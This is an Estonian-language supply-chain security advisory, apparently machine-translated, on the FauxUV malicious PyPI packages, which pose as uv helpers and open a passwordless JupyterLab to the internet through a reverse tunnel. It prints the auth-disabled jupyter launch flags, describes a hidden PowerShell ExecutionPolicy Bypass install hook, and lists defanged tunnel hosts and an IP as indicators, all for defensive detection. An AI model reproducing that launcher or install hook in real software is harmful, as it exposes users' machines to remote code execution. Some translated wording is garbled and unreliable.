FauxUV: Võltsitud PyPI uv-paketid avavad Jupyteri veebis

FauxUV: võltsitud PyPI UV-abilised, mis avavad internetile autentimata Jupyteri serveri

TL; DR

PyPI pakettide klaster laenas nime uv, kiire ja ülipopulaarne Rustil põhinev Pythoni paketihaldur, teesklevad end UV-abilistena. Nad ei paku peaaegu mingit tegelikku funktsionaalsust. Selle asemel on neil Windowsi kasulik koormus, mis seisab a JupyterLabi server, mille autentimine on välja lülitatud ja hilisemates versioonides avaldab selle avalikus internetis pöördtunneli kaudu.

See ongi kogu lugu ühes reas: usaldusväärse tööriista nimi peibutisena ja JupyterLab kaugkoodi käivitamise mootorina. Jupyteri server käivitab mis tahes koodi, mille sisestate mitte-vormingusse.ebook rakk; tühja märgiga käivitatud ja iga võrguliidesega seotud on avatud interpreter, mida igaüks, kes pordini jõuab, saab juhtida.

Me jälgime klastri järgmiselt FauxUVKaks uuritud paketti on moon-uv (0.0.1 – 0.0.16) ja my-magic-uv-helper (0.0.1), mille on avaldanud sama operaator ja mis on analüüsi ajal PyPI-s saadaval.

ÖkosüsteemiPyPI
Paketidmoon-uv (0.0.1 – 0.0.16), my-magic-uv-helper (0.0.1)
Platvormile suunatudWindows
PõhikäitumineAutentimata JupyterLabi server, mis on avaldatud internetis pöördtunneli kaudu
Seaduslike tööriistade kuritarvitamineUV, JupyterLab, Cloudflared, Pingy

Lantide: nimi, mida sa juba usaldad

uv on üks viimase kahe aasta enim installitud Pythoni tööriistu, seega on see „abiline uv„on pakett, mille arendaja installib ilma teist korda mõtlemata. FauxUV paneb oma usaldusväärsuse täielikult sellele nimele. Paketid ümbritsevad ehtne uv Astrali installija – kasuliku koormuse URL-id osutavad päris ja hea mainega hostidele – seega kiire pilk ei näe midagi peale usaldusväärsete viidete. Ükski pakett ei lisa tegelikult uv funktsionaalsus; nimi on kogu varjatus.

JupyterLab kui RCE mootor

Koormuse keskpunkt on kanderakett, mis käivitab JupyterLabi, kui kõik kaitsepiirded on eemaldatud:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

Iga lipp eemaldab kaitse ja kaasasolev skript lisab neile isegi märkused (hiina originaalkeeles): tühi märk „Lülitab paroolide ja tunnusmärkide kontrollid välja – igaüks saab ühenduse luua.” jupyteri labor on küll õigustatud andmeteaduse IDE, aga mitteebook lahter käivitab suvalise koodi. Selliselt konfigureeritud ja seotud 0.0.0.0, see lakkab olemast IDE ja muutub hostil autentimata kaugkestaks – kohandatud pahavara binaarfaili pole vaja, lihtsalt vales suunas suunatud tavapärane tööriist.

Kaks toetavat elementi muudavad selle kättesaadavaks ja korratavaks:

  • Vaikse installimise päästik. Varasemad versioonid käitavad PowerShelli koos -VõimalusPolicy Bypass otse setup.py on pip install, taustal, vead on summutatud, nii et pip näeb välja normaalne. Hilisemad versioonid liigutavad sama primitiivi pip-uv käsurea tööriist – ja loobu installimise ajal automaatse käivitamise funktsioonist täielikult.
  • Avalik tagurpidi tunnel. Server peal 0.0.0.0 on endiselt kättesaadav ainult hostidele, mis saavad masinasse marsruutida. Komplekteeritud moodul avab [Pingy](https://pinggy.io/) SSH tagasitunnel, mis edastab kohaliku Jupyteri pordi avalikule aadressile, kõrvaldades selle piirangu. Tarnitud skript sisaldab ka – kommenteeritud kujul – alternatiivset teed, mis kasutab Cloudflare'i pilvepõlenud ja netsh port-proxy Linode IP-le, dokumenteerides sama eesmärki erineva infrastruktuuri kaudu.

Kokkuvõttes: installige pakett ja Windowsi host käivitab paroolita JupyterLabi ning avaldab selle avatud internetis.

Kuidas FauxUV arenes

FauxUVi versioonid saadeti välja kiirelt üksteise järel ja kasuliku koormuse käivituspunkt liikus nende vahel – meeldetuletus, et üks lipukesega versioon räägib harva kogu paketirea lugu.

Stage Variandid Trigger Mida see lisab
Install-hook moon-uv 0.0.1-0.0.3 my-magic-uv-helper 0.0.1 setup.py pip-i installimisel uv install + PATH ette lisamine
CLI-käituskeskkond moon-uv 0.0.5-0.0.13 pip-uv käsk paroolivaba JupyterLabi käivitaja
tunnel moon-uv 0.0.14-0.0.16 pip-uv käsk aktiivne Pingy tagurpidi tunnel

Tähelepanuväärne oli see, et installimise ajal automaatne käivitamine oli kõrvaldatud hilisemates, võimekamates versioonides – seega ainult elutsükli ajal sisse lülitatud skanner hooks hindaks uuemaid väljaandeid järgmiselt vähem riskantne, täpselt tagurpidi.

Kompromissi näitajad

Kinnitatud paketi lähtekoodi lugemisega; lõpp-punktid on märgitud kommenteeris on failides olemas, kuid analüüsitud versioon neid ei käivita. Võrguindikaatorid on defangiseeritud.

KASUTUSALA Indikaator
Installi käsk powershell -ExecutionPolicy Bypass ehtsa UV-installeri toomine pip-i installimise ajal
JupyterLabi lipud --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Tagurpidi tunnel (aktiivne) free[.]pinggy[.]io:443 kohaliku edastamise 127.0.0.1:8888
Tunneli host (kommenteeritud) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
IP (kommenteeritud) 45[.]79[.]134[.]161 (Linode) kaudu netsh port-proxy
Püsivus lisab %USERPROFILE%\.local\bin kasutaja PATH-i

Käitumuslikud signaalid, millele tasub tähelepanu pöörata, olenemata nendest täpsetest stringidest: a pip install mis kudeb powershell -ExecutionPolicy möödaviik; mis tahes jupyter käivitamine kombineerides märk=”” koos –ip=0.0.0.0ja väljaminev SSH *.pinggy.io arendajalt või CI-masinalt.

Täheldatud käitumine ja päritolu

Kahel paketil on ühine autor ja meetod: usaldusväärse tööriista nimi, ainult Windowsile mõeldud lüüsimine, veatu taustal käivitamine ja usaldusväärsete tööriistade kasutamine, seega kiire pilk näeb ainult usaldusväärseid URL-e. Allikas sisaldab hiinakeelseid kommentaare, mis kirjeldavad turvalisusega seotud lippe selgelt; me esitame need failis vaadeldavate avaldustena, mitte motiiviväitena. lubatud_origin väärtus ja colab.bat failinimi kajastab Google Colabis ringlevaid mitteametlikke töövooge „jaga minu kohalikku käituskeskkonda”. Päritolust olenemata on pakendatud tulemus sama.

Mõju ja juhised kaitsjatele

Kes puutub kokku FauxUV-ga. Windowsi arendajad ja CI-käitlejad, kes pip install üks neist pakettidest. Paroolivaba JupyterLab saidil 0.0.0.0 on kaugkoodi käivitamine kõigile, kes saavad pordile ligi pääseda; tunnel eemaldab piirangu „kes saab sellele ligi pääseda”. Server töötab installiva kasutajana, pärides selle kasutaja failid, märgid ja pilveteenuse identimisteabe.

Miks on seda lihtne mööda vaadata. Iga võrgujada osutab hea mainega hostile – Astral, JupyterLab, pilvepõlenud, Pingy, Colab. Puudub pahavara binaarfail, mida räsimiseks kasutada, ja hägustatud plokk, mida dekodeerida. Nii maine- kui ka allkirjapõhine skannimine alahindavad seda, mistõttu käitumuslik küsimus — Mida selle paketi installimine masina tegema paneb? — on see, kes selle kinni püüab.

Juhised:

  • Töötle mis tahes paigaldusaega powershell -ExecutionPolicy möödaviik ehitust katkestava signaalina, olenemata sellest, millist URL-i see hangib.
  • Hoiatus sees jupyter käivitati tühja märgiga ja –ip=0.0.0.0; see kombinatsioon ei tohiks kunagi tööjaamas ega jooksuris ilmuda.
  • Väljuvate SSH-ühenduste jälgimine tunnelteenuse pakkujatele (*.pinggy.io, *.trycloudflare.com) arendaja- ja CI-keskkondadest.
  • paigaldama uv [selle ametlikust allikast](https://docs.astral.sh/uv/) ja suhtu skeptiliselt kolmandate osapoolte „abipakettidesse”, mis pakivad tööriista, mille installimine on niigi triviaalne.
  • Sõltuvuste kinnitamine ja uuesti ülevaatamine uuendamisel – paketirea abil saab uusi funktsioone versioonide kaupa kasvatada.
sca-tööriistad-tarkvara-kompositsiooni-analüüsi-tööriistad
Tarkvarariskide prioriseerimine, leevendamine ja turvamine
Hankige oma tasuta konto.
Krediitkaarti pole vaja.

Turvaline tarkvaraarendus ja -tarne

Xygeni tootekomplektiga